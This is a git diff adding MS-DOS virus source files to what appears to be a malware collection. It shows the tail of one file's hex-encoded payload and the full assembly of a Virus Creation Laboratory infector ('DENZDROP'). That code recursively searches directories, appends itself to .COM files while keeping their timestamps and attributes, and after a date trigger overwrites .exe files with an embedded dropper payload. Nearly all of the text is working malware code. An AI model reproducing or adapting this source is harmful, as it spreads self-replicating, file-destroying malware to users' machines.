077h, 065h, 061h + db 072h, 073h, 020h, 066h, 06Ch, 06Fh, 070h, 070h + db 079h, 020h, 064h, 069h, 073h, 06Bh, 073h, 021h + db 00Dh, 00Ah, 024h, 006h, 04Ah, 06Fh, 06Bh, 065h + db 072h, 021h, 020h, 076h, 065h, 072h, 020h, 0E0h + db 0E0h, 020h, 062h, 079h, 020h, 054h, 042h, 053h + db 049h, 021h, 00Dh, 00Ah, 052h, 065h, 06Dh, 065h + db 06Dh, 062h, 065h, 072h, 021h, 020h, 020h, 045h + db 056h, 045h, 052h, 059h, 054h, 048h, 049h, 04Eh + db 047h, 027h, 073h, 020h, 062h, 069h, 067h, 067h + db 065h, 072h, 020h, 069h, 06Eh, 020h, 054h, 065h + db 078h, 061h, 073h, 021h, 00Dh, 00Ah, 024h, 032h + db 0C0h, 0CFh, 02Ah, 02Eh, 043h, 04Fh, 04Dh, 000h + db 02Eh, 02Eh, 000h, 003h, 000h, 001h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h + +data04 db "*.com",0 + + +data05 dw 2BEh + db 0E9h, 003h, 000h, 044h, 048h, 000h, 0E8h, 000h + db 000h, 0B4h, 02Ch, 0CDh, 021h, 08Ah, 0C5h, 098h + db 03Dh, 010h, 000h, 07Dh, 003h, 0E9h, 08Ah, 000h + db 0FAh, 0BAh, 002h, 000h, 0BDh, 040h, 000h, 0BEh + db 000h, 010h, 0BFh, 000h, 020h, 0B0h, 0B6h, 0E6h + db 043h, 08Bh, 0DEh, 08Bh, 0C3h, 0E6h, 042h, 08Ah + db 0C4h, 0E6h, 042h, 0E4h, 061h, 00Ch, 003h, 0E6h + db 061h, 0B9h, 0E0h, 02Eh, 0E2h, 0FEh, 087h, 0FEh + db 0E4h, 061h, 024h, 0FCh, 0E6h, 061h, 04Dh, 075h + db 0E0h, 0B8h, 010h, 000h, 0B9h, 060h, 0EAh, 0E2h + db 0FEh, 048h, 075h, 0F8h, 04Ah, 075h, 0C5h, 0FBh + db 0BEh, 000h, 000h, 0ACh, 08Ah, 0E0h, 0ACh, 024h + db 003h, 0B2h, 080h, 08Ah, 0F0h, 08Ah, 0ECh, 0B1h + db 001h, 0BBh, 0BDh, 003h, 0B8h, 001h, 002h, 0CDh + db 013h, 0EBh, 0E8h, 054h, 068h, 069h, 073h, 020h + db 070h, 072h, 06Fh, 067h, 072h, 061h, 06Dh, 020h + db 069h, 073h, 020h, 073h, 069h, 063h, 06Bh, 02Eh + db 020h, 05Bh, 050h, 052h, 04Fh, 054h, 04Fh, 02Dh + db 054h, 020h, 062h, 079h, 020h, 044h, 075h, 06Dh + db 062h, 063h, 06Fh, 02Ch, 020h, 049h, 04Eh, 043h + db 02Eh, 05Dh, 05Dh, 081h, 0EDh, 009h, 001h, 0BFh + db 000h, 001h, 08Dh, 0B6h, 0A6h, 003h, 0B9h, 006h + db 000h, 0F3h, 0A4h, 0B4h, 0A0h, 0CDh, 021h, 03Dh + db 001h, 000h, 074h, 05Bh, 08Ch, 0C8h, 048h, 08Eh + db 0D8h, 080h, 03Eh, 000h, 000h, 05Ah, 075h, 047h + db 0A1h, 003h, 000h, 02Dh, 050h, 000h, 0A3h, 003h + db 000h, 08Bh, 0D8h, 08Ch, 0C0h, 003h, 0C3h, 08Eh + db 0C0h, 0B9h, 0B7h, 002h, 08Ch, 0D8h, 040h, 08Eh + db 0D8h, 08Dh, 0B6h, 006h, 001h, 0BFh, 000h, 001h + db 0F3h, 0A4h, 03Eh, 08Ch, 086h, 0B1h, 003h, 08Ch + db 0C8h, 08Eh, 0C0h, 0FAh, 0B8h, 021h, 035h, 0CDh + db 021h, 03Eh, 08Eh, 09Eh, 0B1h, 003h, 089h, 01Eh + db 094h, 003h, 08Ch, 006h, 096h, 003h, 0BAh, 016h + db 002h, 0B8h, 021h, 025h, 0CDh, 021h, 0FBh, 08Ch + db 0C8h, 08Eh, 0D8h, 08Eh, 0C0h, 033h, 0C0h, 0BBh + db 000h, 001h, 0FFh, 0E3h, 09Ch, 080h, 0FCh, 0A0h + db 075h, 005h, 0B8h, 001h, 000h, 09Dh, 0CFh, 01Eh + db 006h, 057h, 056h, 050h, 053h, 051h, 052h, 080h + db 0FCh, 040h, 075h, 005h, 083h, 0FBh, 004h, 075h + db 000h, 080h, 0FCh, 005h, 075h, 000h, 03Dh, 000h + db 04Bh, 075h, 00Dh, 02Eh, 08Ch, 01Eh, 0A7h, 003h + db 02Eh, 089h, 016h, 0A9h, 003h, 0EBh, 00Fh, 090h + db 05Ah, 059h, 05Bh, 058h, 05Eh, 05Fh, 007h, 01Fh + db 09Dh, 02Eh, 0FFh, 02Eh, 094h, 003h, 0FCh, 08Bh + db 0FAh, 01Eh, 007h, 0B0h, 02Eh, 0F2h, 0AEh, 026h + db 081h, 03Dh, 043h, 04Fh, 075h, 0E2h, 026h, 083h + db 07Dh, 002h, 04Dh, 075h, 0DBh, 0E8h, 0ECh, 000h + db 0E8h, 005h, 001h, 02Eh, 08Eh, 01Eh, 0A7h, 003h + db 02Eh, 08Bh, 016h, 0A9h, 003h, 0B8h, 002h, 03Dh + db 0E8h, 083h, 000h, 072h, 054h, 00Eh, 01Fh, 0A3h + db 0AFh, 003h, 08Bh, 0D8h, 0E8h, 0BCh, 000h, 00Eh + db 01Fh, 08Bh, 01Eh, 0AFh, 003h, 0B4h, 03Fh, 0B9h + db 006h, 000h, 0BAh, 0A0h, 003h, 0E8h, 066h, 000h + db 0A0h, 0A3h, 003h, 08Ah, 026h, 0A4h, 003h, 03Bh + db 006h, 0B5h, 003h, 074h, 018h, 0B8h, 000h, 042h + db 0E8h, 045h, 000h, 0B8h, 002h, 042h, 0E8h, 03Fh + db 000h, 02Dh, 003h, 000h, 0A3h, 0ADh, 003h, 0E8h + db 04Bh, 000h, 0E8h, 072h, 000h, 00Eh, 01Fh, 08Bh + db 01Eh, 0AFh, 003h, 08Bh, 016h, 0B1h, 003h, 08Bh + db 00Eh, 0B3h, 003h, 0B8h, 001h, 057h, 0E8h, 02Dh + db 000h, 08Bh, 01Eh, 0AFh, 003h, 0B4h, 03Eh, 0E8h + db 024h, 000h, 02Eh, 08Bh, 016h, 09Ch, 003h, 02Eh + db 08Eh, 01Eh, 09Eh, 003h, 0B8h, 024h, 025h, 0E8h + db 014h, 000h, 0E9h, 053h, 0FFh, 0B0h, 003h, 0CFh + db 00Eh, 01Fh, 08Bh, 01Eh, 0AFh, 003h, 033h, 0C9h + db 033h, 0D2h, 0E8h, 001h, 000h, 0C3h, 09Ch, 02Eh + db 0FFh, 01Eh, 094h, 003h, 0C3h, 00Eh, 01Fh, 0B8h + db 000h, 042h, 0E8h, 0E3h, 0FFh, 0B4h, 040h, 0B9h + db 001h, 000h, 0BAh, 0A6h, 003h, 0E8h, 0E6h, 0FFh + db 0B4h, 040h, 0B9h, 002h, 000h, 0BAh, 0ADh, 003h + db 0E8h, 0DBh, 0FFh, 0B4h, 040h, 0B9h, 002h, 000h + db 0BAh, 0B5h, 003h, 0E8h, 0D0h, 0FFh, 0C3h, 00Eh + db 01Fh, 0B8h, 002h, 042h, 0E8h, 0B9h, 0FFh, 0B4h + db 040h, 0B9h, 0B7h, 002h, 0BAh, 000h, 001h, 0E8h + db 0BCh, 0FFh, 0C3h, 0B8h, 000h, 057h, 0E8h, 0B5h + db 0FFh, 00Eh, 01Fh, 089h, 016h, 0B1h, 003h, 089h + db 00Eh, 0B3h, 003h, 0C3h, 0B8h, 024h, 035h, 0E8h + db 0A4h, 0FFh, 02Eh, 089h, 01Eh, 09Ch, 003h, 02Eh + db 08Ch, 006h, 09Eh, 003h, 0BAh, 0F7h, 002h, 00Eh + db 01Fh, 0B8h, 024h, 025h, 0E8h, 08Fh, 0FFh, 0C3h + db 0B8h, 000h, 043h, 02Eh, 08Eh, 01Eh, 0A7h, 003h + db 02Eh, 08Bh, 016h, 0A9h, 003h, 0E8h, 07Eh, 0FFh + db 080h, 0E1h, 0FEh, 0B8h, 001h, 043h, 0E8h, 075h + db 0FFh, 0C3h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 090h, 0CDh + db 020h, 044h, 048h, 000h, 0E9h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 044h, 048h, 090h + +vcl_marker: db "[vcl]",0 + +finish label near + +code ends + end main diff --git a/MSDOS/Virus.MSDOS.Unknown.vcl_denz.asm b/MSDOS/Virus.MSDOS.Unknown.vcl_denz.asm new file mode 100644 index 00000000..6b620036 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vcl_denz.asm @@ -0,0 +1,884 @@ +; DENZDROP.ASM -- +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by Unknown User + +virus_type equ 0 ; Appending Virus +is_encrypted equ 0 ; We're not encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +main proc near + db 0E9h,00h,00h ; Near jump (for compatibility) +start: call find_offset ; Like a PUSH IP +find_offset: pop bp ; BP holds old IP + sub bp,offset find_offset ; Adjust for length of host + + lea si,[bp + buffer] ; SI points to original start + mov di,0100h ; Push 0100h on to stack for + push di ; return to main program + movsw ; Copy the first two bytes + movsb ; Copy the third byte + + mov di,bp ; DI points to start of virus + + mov bp,sp ; BP points to stack + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer on stack + int 021h + + mov cx,0003h ; Do 3 infections +search_loop: push cx ; Save CX + call search_files ; Find and infect a file + pop cx ; Restore CX + loop search_loop ; Repeat until CX is 0 + + call get_month + cmp ax,0007h ; Did the function return 7? + jl skip00 ; If less, skip effect + call get_day + cmp ax,0017h ; Did the function return 23? + jl skip00 ; If less, skip effect + jmp short strt00 ; Success -- skip jump +skip00: jmp end00 ; Skip the routine +strt00: lea dx,[di + data00] ; DX points to data + lea si,[di + data01] ; SI points to data + push di ; Save DI + mov ah,02Fh ; DOS get DTA function + int 021h + mov di,bx ; DI points to DTA + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + int 021h + jc create_file ; If not found then create it +write_in_file: mov ax,04301h ; DOS set file attributes function + xor cx,cx ; File will have no attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ax,03D01h ; DOS open file function, write + lea dx,[di + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; Transfer file handle to AX + mov ah,040h ; DOS write to file function + mov cx,[si] ; CX holds number of byte to write + lea dx,[si + 2] ; DX points to the data + int 021h + mov ax,05701h ; DOS set file date/time function + mov cx,[di + 016h] ; CX holds old file time + mov dx,[di + 018h] ; DX holds old file data + int 021h + mov ah,03Eh ; DOS close file function + int 021h + mov ax,04301h ; DOS set file attributes function + xor ch,ch ; Clear CH for attributes + mov cl,[di + 015h] ; CL holds old attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ah,04Fh ; DOS find next file function + int 021h + jnc write_in_file ; If successful do next file + jmp short dropper_end ; Otherwise exit +create_file: mov ah,03Ch ; DOS create file function + xor cx,cx ; File has no attributes + int 021h + xchg bx,ax ; Transfer file handle to AX + mov ah,040h ; DOS write to file function + mov cx,[si] ; CX holds number of byte to write + lea dx,[si + 2] ; DX points to the data + int 021h + mov ah,03Eh ; DOS close file function + int 021h +dropper_end: pop di ; Restore DI + +end00: +com_end: pop dx ; DX holds original DTA address + mov ah,01Ah ; DOS set DTA function + int 021h + + mov sp,bp ; Deallocate local buffer + + xor ax,ax ; + mov bx,ax ; + mov cx,ax ; + mov dx,ax ; Empty out the registers + mov si,ax ; + mov di,ax ; + mov bp,ax ; + + ret ; Return to original program +main endp + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,64 ; Allocate 64 bytes on stack + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 64] ; SI points to 64-byte buffer + int 021h + + mov ah,03Bh ; DOS change directory function + lea dx,[di + root] ; DX points to root directory + int 021h + + call traverse ; Start the traversal + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 64] ; DX points to old directory + int 021h + + mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller + +root db "\",0 ; Root directory +search_files endp + +traverse proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first function + mov cx,00010000b ; CX holds search attributes + lea dx,[di + all_files] ; DX points to "*.*" + int 021h + jc leave_traverse ; Leave if no files present + +check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? + jne another_dir ; If not, try again + cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? + je another_dir ;If so, keep going + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 98] ; DX points to new directory + int 021h + + call traverse ; Recursively call ourself + + pushf ; Save the flags + mov ah,03Bh ; DOS change directory function + lea dx,[di + up_dir] ; DX points to parent directory + int 021h + popf ; Restore the flags + + jnc done_searching ; If we infected then exit + +another_dir: mov ah,04Fh ; DOS find next function + int 021h + jnc check_dir ; If found check the file + +leave_traverse: + lea dx,[di + com_mask] ; DX points to "*.COM" + call find_files ; Try to infect a file +done_searching: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller + +up_dir db '..',0 ; Parent directory name +all_files db '*.*',0 ; Directories to search for +com_mask db '*.com',0 ; Mask for all .COM files +traverse endp + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [di + set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ah],(65279 - (finish - start)) + jbe size_ok ; If it's small enough continue + jmp infection_done ; Otherwise exit + +size_ok: mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,3 ; CX holds bytes to read (3) + lea dx,[di + buffer] ; DX points to buffer + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + xchg dx,ax ; Faster than a PUSH AX + mov ah,03Eh ; DOS close file function + int 021h + xchg dx,ax ; Faster than a POP AX + + sub ax,finish - start + 3 ; Adjust AX for a valid jump + cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? + je infection_done ; If equal then exit + mov byte ptr [di + set_carry],1 ; Success -- the file is OK + add ax,finish - start ; Re-adjust to make the jump + mov word ptr [di + new_jump + 1],ax ; Construct jump + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,3 ; CX holds bytes to write (3) + lea dx,[di + new_jump] ; DX points to the jump we made + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + mov ah,040h ; DOS write to file function + mov cx,finish - start ; CX holds virus length + lea dx,[di + start] ; DX points to start of virus + int 021h + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +set_carry db ? ; Set-carry-on-exit flag +buffer db 090h,0CDh,020h ; Buffer to hold old three bytes +new_jump db 0E9h,?,? ; New jump to virus +infect_file endp + + +get_day proc near + mov ah,02Ah ; DOS get date function + int 021h + mov al,dl ; Copy day into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_day endp + +get_month proc near + mov ah,02Ah ; DOS get date function + int 021h + mov al,dh ; Copy month into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_month endp + +data00 db '*.exe',0 + +data01 dw 10BAh + db 0E9h, 056h, 005h, 00Dh, 00Ah, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 0C9h, 0CDh, 0CDh + db 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh + db 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh + db 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh + db 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh + db 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh + db 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh + db 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh + db 0CDh, 0CDh, 0CDh, 0CDh, 0BBh, 00Dh, 00Ah, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 0BAh + db 020h, 030h, 030h, 030h, 030h, 030h, 030h, 030h + db 030h, 030h, 030h, 030h, 030h, 030h, 030h, 030h + db 030h, 030h, 030h, 030h, 030h, 030h, 030h, 030h + db 030h, 030h, 030h, 030h, 030h, 030h, 030h, 030h + db 030h, 030h, 030h, 030h, 030h, 030h, 030h, 030h + db 030h, 030h, 030h, 030h, 030h, 030h, 030h, 030h + db 030h, 030h, 030h, 030h, 030h, 030h, 030h, 030h + db 030h, 030h, 030h, 030h, 030h, 020h, 0BAh, 00Dh + db 00Ah, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 0BAh, 020h, 030h, 030h, 030h, 030h, 030h + db 030h, 030h, 030h, 030h, 030h, 030h, 031h, 032h + db 030h, 030h, 030h, 030h, 030h, 030h, 030h, 030h + db 030h, 030h, 030h, 030h, 030h, 030h, 030h, 030h + db 030h, 030h, 030h, 030h, 030h, 030h, 030h, 030h + db 030h, 030h, 030h, 030h, 030h, 030h, 030h, 030h + db 030h, 030h, 030h, 030h, 030h, 030h, 030h, 030h + db 030h, 030h, 030h, 030h, 030h, 030h, 030h, 020h + db 0BAh, 00Dh, 00Ah, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 0BAh, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 0BAh, 00Dh, 00Ah, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 0BAh, 020h, 056h + db 069h, 072h, 075h, 073h, 020h, 030h, 030h, 030h + db 030h, 030h, 030h, 030h, 030h, 030h, 030h, 030h + db 030h, 030h, 030h, 030h, 030h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 052h + db 069h, 070h, 074h, 06Fh, 066h, 066h, 020h, 062h + db 079h, 020h, 056h, 043h, 04Ch, 020h, 04Ch, 06Fh + db 076h, 065h, 072h, 020h, 0BAh, 00Dh, 00Ah, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 0BAh + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 0BAh, 00Dh + db 00Ah, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 0BAh, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 050h, 072h, 06Fh, 067h + db 072h, 061h, 06Dh, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 044h, 045h, 04Eh + db 05Ah, 02Dh, 053h, 049h, 04Dh, 02Eh, 043h, 04Fh + db 04Dh, 020h, 056h, 031h, 02Eh, 030h, 032h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 0BAh, 00Dh, 00Ah, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 0BAh, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 044h, 065h + db 06Eh, 07Ah, 075h, 06Bh, 020h, 076h, 069h, 072h + db 075h, 073h, 020h, 02Dh, 020h, 030h, 030h, 030h + db 030h, 030h, 030h, 030h, 030h, 030h, 030h, 030h + db 030h, 030h, 030h, 030h, 030h, 030h, 030h, 030h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 0BAh, 00Dh, 00Ah, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 0BAh, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 0BAh, 00Dh, 00Ah, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 0BAh + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 062h, 075h + db 074h, 074h, 02Dh, 069h, 074h, 063h, 068h, 020h + db 074h, 068h, 065h, 020h, 06Fh, 06Ch, 064h, 020h + db 076h, 069h, 072h, 075h, 073h, 020h, 031h, 039h + db 039h, 032h, 02Eh, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 0BAh, 00Dh + db 00Ah, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 0BAh, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 0BAh, 00Dh, 00Ah, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 0BAh, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 044h, 061h, 072h, 06Bh, 020h + db 041h, 076h, 065h, 06Eh, 067h, 065h, 072h, 020h + db 069h, 073h, 020h, 030h, 030h, 030h, 020h, 061h + db 020h, 076h, 069h, 072h, 075h, 073h, 02Ch, 020h + db 030h, 030h, 030h, 030h, 030h, 030h, 020h, 073h + db 06Fh, 020h, 069h, 06Eh, 066h, 065h, 063h, 074h + db 069h, 06Fh, 075h, 073h, 020h, 020h, 020h, 020h + db 020h, 020h, 0BAh, 00Dh, 00Ah, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 0BAh, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 0BAh, 00Dh, 00Ah, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 0BAh + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 030h, 030h, 030h, 030h, 030h, 020h + db 030h, 030h, 030h, 030h, 030h, 030h, 030h, 030h + db 030h, 030h, 030h, 030h, 030h, 030h, 030h, 030h + db 030h, 030h, 030h, 030h, 030h, 020h, 06Fh, 062h + db 073h, 063h, 065h, 06Eh, 065h, 020h, 064h, 069h + db 073h, 070h, 06Ch, 061h, 079h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 0BAh, 00Dh + db 00Ah, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 0C8h, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh + db 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh + db 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh + db 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh + db 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh + db 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh + db 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh + db 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh, 0CDh + db 0BCh, 00Dh, 00Ah, 024h, 003h, 044h, 045h, 04Eh + db 05Ah, 02Dh, 053h, 049h, 04Dh, 043h, 04Fh, 04Dh + db 007h, 00Ch, 000h, 01Bh, 030h, 0FFh, 085h, 0DBh + db 074h, 020h, 019h, 00Dh, 018h, 019h, 093h, 010h + db 000h, 000h, 044h, 045h, 04Eh, 05Ah, 02Dh, 053h + db 049h, 04Dh, 02Eh, 043h, 04Fh, 04Dh, 000h, 002h + db 00Dh, 00Ah, 054h, 068h, 069h, 073h, 020h, 070h + db 072h, 06Fh, 067h, 072h, 061h, 06Dh, 020h, 072h + db 065h, 071h, 075h, 069h, 072h, 065h, 073h, 020h + db 044h, 04Fh, 053h, 020h, 076h, 065h, 072h, 073h + db 069h, 06Fh, 06Eh, 020h, 032h, 02Eh, 030h, 020h + db 06Fh, 072h, 020h, 06Ch, 061h, 074h, 065h, 072h + db 00Dh, 00Ah, 024h, 00Dh, 00Ah, 044h, 04Fh, 053h + db 020h, 076h, 065h, 072h, 073h, 069h, 06Fh, 06Eh + db 020h, 032h, 02Eh, 078h, 020h, 02Dh, 020h, 030h + db 030h, 030h, 030h, 030h, 030h, 030h, 030h, 030h + db 030h, 030h, 030h, 030h, 030h, 030h, 030h, 030h + db 030h, 030h, 030h, 030h, 030h, 030h, 030h, 030h + db 030h, 030h, 030h, 030h, 030h, 030h, 030h, 030h + db 030h, 030h, 030h, 030h, 030h, 030h, 030h, 030h + db 030h, 030h, 030h, 030h, 030h, 030h, 030h, 030h + db 030h, 030h, 030h, 00Dh, 00Ah, 024h, 00Dh, 00Ah + db 050h, 072h, 06Fh, 067h, 072h, 061h, 06Dh, 020h + db 069h, 073h, 020h, 074h, 068h, 065h, 020h, 077h + db 072h, 06Fh, 06Eh, 067h, 020h, 06Ch, 065h, 06Eh + db 067h, 074h, 068h, 00Dh, 00Ah, 030h, 030h, 030h + db 030h, 030h, 030h, 030h, 030h, 030h, 030h, 030h + db 030h, 030h, 030h, 030h, 030h, 